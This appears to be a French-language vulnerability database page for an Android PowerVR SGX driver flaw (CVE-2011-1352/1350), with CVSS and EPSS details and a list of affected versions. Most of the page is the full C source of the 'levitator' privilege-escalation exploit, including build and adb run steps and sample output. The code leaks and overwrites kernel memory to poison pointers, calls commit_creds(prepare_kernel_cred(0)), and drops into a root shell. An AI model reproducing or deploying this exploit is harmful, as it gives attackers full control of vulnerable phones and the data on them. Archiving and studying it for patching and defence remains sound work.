Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Métriques
Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
V2 |
7.1 |
|
AV:N/AC:M/Au:N/C:C/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 38310
Date de publication : 2011-11-02 23h00 +00:00
Auteur : Geremy Condra
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/57900/info
The PowerVR SGX driver in Android is prone to an information-disclosure vulnerability.
Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks.
Android 2.3.5 and prior versions are vulnerable.
/*
* levitator.c
*
* Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
* Jon Larimer <
[email protected]>
* Jon Oberheide <
[email protected]>
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1352
*
* CVE-2011-1352 is a kernel memory corruption vulnerability that can lead
* to privilege escalation. Any user with access to /dev/pvrsrvkm can use
* this bug to obtain root privileges on an affected device.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1350
*
* CVE-2011-1350 allows leaking a portion of kernel memory to user mode
* processes. This vulnerability exists because of improper bounds checking
* when returning data to user mode from an ioctl system call.
*
* Usage:
*
* $ CC="/path/to/arm-linux-androideabi-gcc"
* $ NDK="/path/to/ndk/arch-arm"
* $ CFLAGS="-I$NDK/usr/include/"
* $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
* $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
* $ adb push levitator /data/local/tmp/
* $ adb shell
* $ cd /data/local/tmp
* $ ./levitator
* [+] looking for symbols...
* [+] resolved symbol commit_creds to 0xc00770dc
* [+] resolved symbol prepare_kernel_cred to 0xc0076f64
* [+] resolved symbol dev_attr_ro to 0xc05a5834
* [+] opening prvsrvkm device...
* [+] dumping kernel memory...
* [+] searching kmem for dev_attr_ro pointers...
* [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
* [+] clobbering kmem with poisoned pointers...
* [+] triggering privesc via block ro sysfs attribute...
* [+] restoring original dev_attr_ro pointers...
* [+] restored 16 dev_attr_ro pointers!
* [+] privileges escalated, enjoy your shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The vulnerability affects Android devices with the PowerVR SGX chipset
* which includes popular models like the Nexus S and Galaxy S series. The
* vulnerability was patched in the Android 2.3.6 OTA update.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CONNECT_SERVICES 0xc01c670c
#define DUMP_SIZE 161920
typedef struct {
uint32_t ui32BridgeID;
uint32_t ui32Size;
void *pvParamIn;
uint32_t ui32InBufferSize;
void *pvParamOut;
uint32_t ui32OutBufferSize;
void * hKernelServices;
} PVRSRV_BRIDGE_PACKAGE;
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
ssize_t
fake_disk_ro_show(void *dev, void *attr, char *buf)
{
commit_creds(prepare_kernel_cred(0));
return sprintf(buf, "0wned\n");
}
struct attribute {
const char *name;
void *owner;
mode_t mode;
};
struct device_attribute {
struct attribute attr;
ssize_t (*show)(void *dev, void *attr, char *buf);
ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
};
struct device_attribute fake_dev_attr_ro = {
.attr = {
.name = "ro",
.mode = S_IRWXU | S_IRWXG | S_IRWXO,
},
.show = fake_disk_ro_show,
.store = NULL,
};
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sname[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
return addr;
}
}
return 0;
}
int
do_ioctl(int fd, void *in, unsigned int in_size, void *out, unsigned int out_size)
{
PVRSRV_BRIDGE_PACKAGE pkg;
memset(&pkg, 0, sizeof(pkg));
pkg.ui32BridgeID = CONNECT_SERVICES;
pkg.ui32Size = sizeof(pkg);
pkg.ui32InBufferSize = in_size;
pkg.pvParamIn = in;
pkg.ui32OutBufferSize = out_size;
pkg.pvParamOut = out;
return ioctl(fd, 0, &pkg);
}
int
main(int argc, char **argv)
{
DIR *dir;
struct dirent *dentry;
int fd, ret, found, trigger;
char *dump, *dump_end, buf[8], path[256];
unsigned long dev_attr_ro, *ptr;
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("[-] commit_creds symbol not found, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
exit(1);
}
dev_attr_ro = get_symbol("dev_attr_ro");
if (!dev_attr_ro) {
printf("[-] dev_attr_ro symbol not found, aborting!\n");
exit(1);
}
printf("[+] opening prvsrvkm device...\n");
fd = open("/dev/pvrsrvkm", O_RDWR);
if (fd == -1) {
printf("[-] failed opening pvrsrvkm device, aborting!\n");
exit(1);
}
printf("[+] dumping kernel memory...\n");
dump = malloc(DUMP_SIZE + 0x1000);
dump_end = dump + DUMP_SIZE + 0x1000;
memset(dump, 0, DUMP_SIZE + 0x1000);
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] searching kmem for dev_attr_ro pointers...\n");
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == dev_attr_ro) {
*ptr = (unsigned long) &fake_dev_attr_ro;
found++;
}
}
printf("[+] poisoned %d dev_attr_ro pointers with fake_dev_attr_ro!\n", found);
if (found == 0) {
printf("[-] could not find any dev_attr_ro ptrs, aborting!\n");
exit(1);
}
printf("[+] clobbering kmem with poisoned pointers...\n");
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
printf("[+] triggering privesc via block ro sysfs attribute...\n");
dir = opendir("/sys/block");
if (!dir) {
printf("[-] failed opening /sys/block, aborting!\n");
exit(1);
}
found = 0;
while ((dentry = readdir(dir)) != NULL) {
if (strcmp(dentry->d_name, ".") == 0 || strcmp(dentry->d_name, "..") == 0) {
continue;
}
snprintf(path, sizeof(path), "/sys/block/%s/ro", dentry->d_name);
trigger = open(path, O_RDONLY);
if (trigger == -1) {
printf("[-] failed opening ro sysfs attribute, aborting!\n");
exit(1);
}
memset(buf, 0, sizeof(buf));
ret = read(trigger, buf, sizeof(buf));
close(trigger);
if (strcmp(buf, "0wned\n") == 0) {
found = 1;
break;
}
}
if (found == 0) {
printf("[-] could not trigger privesc payload, aborting!\n");
exit(1);
}
printf("[+] restoring original dev_attr_ro pointers...\n");
ret = do_ioctl(fd, NULL, 0, dump + 0x1000, DUMP_SIZE - 0x1000);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
found = 0;
for (ptr = (unsigned long *) dump; ptr < (unsigned long *) dump_end; ++ptr) {
if (*ptr == (unsigned long) &fake_dev_attr_ro) {
*ptr = (unsigned long) dev_attr_ro;
found++;
}
}
printf("[+] restored %d dev_attr_ro pointers!\n", found);
if (found == 0) {
printf("[-] could not restore any pointers, aborting!\n");
exit(1);
}
ret = do_ioctl(fd, dump, DUMP_SIZE, NULL, 0);
if (ret == -1) {
printf("[-] failed during ioctl, aborting!\n");
exit(1);
}
if (getuid() != 0) {
printf("[-] privileges not escalated, exploit failed!\n");
exit(1);
}
printf("[+] privileges escalated, enjoy your shell!\n");
execl("/system/bin/sh", "sh", NULL);
return 0;
}
Products Mentioned
Configuraton 0
Google>>Android >> Version To (including) 2.3.5
Google>>Android >> Version 1.0
Google>>Android >> Version 1.1
Google>>Android >> Version 1.5
Google>>Android >> Version 1.6
Google>>Android >> Version 2.0
Google>>Android >> Version 2.0.1
Google>>Android >> Version 2.1
Google>>Android >> Version 2.2
Google>>Android >> Version 2.2.1
Google>>Android >> Version 2.2.2
Google>>Android >> Version 2.2.3
Google>>Android >> Version 2.3
Google>>Android >> Version 2.3.1
Google>>Android >> Version 2.3.2
Google>>Android >> Version 2.3.3
Google>>Android >> Version 2.3.4
Références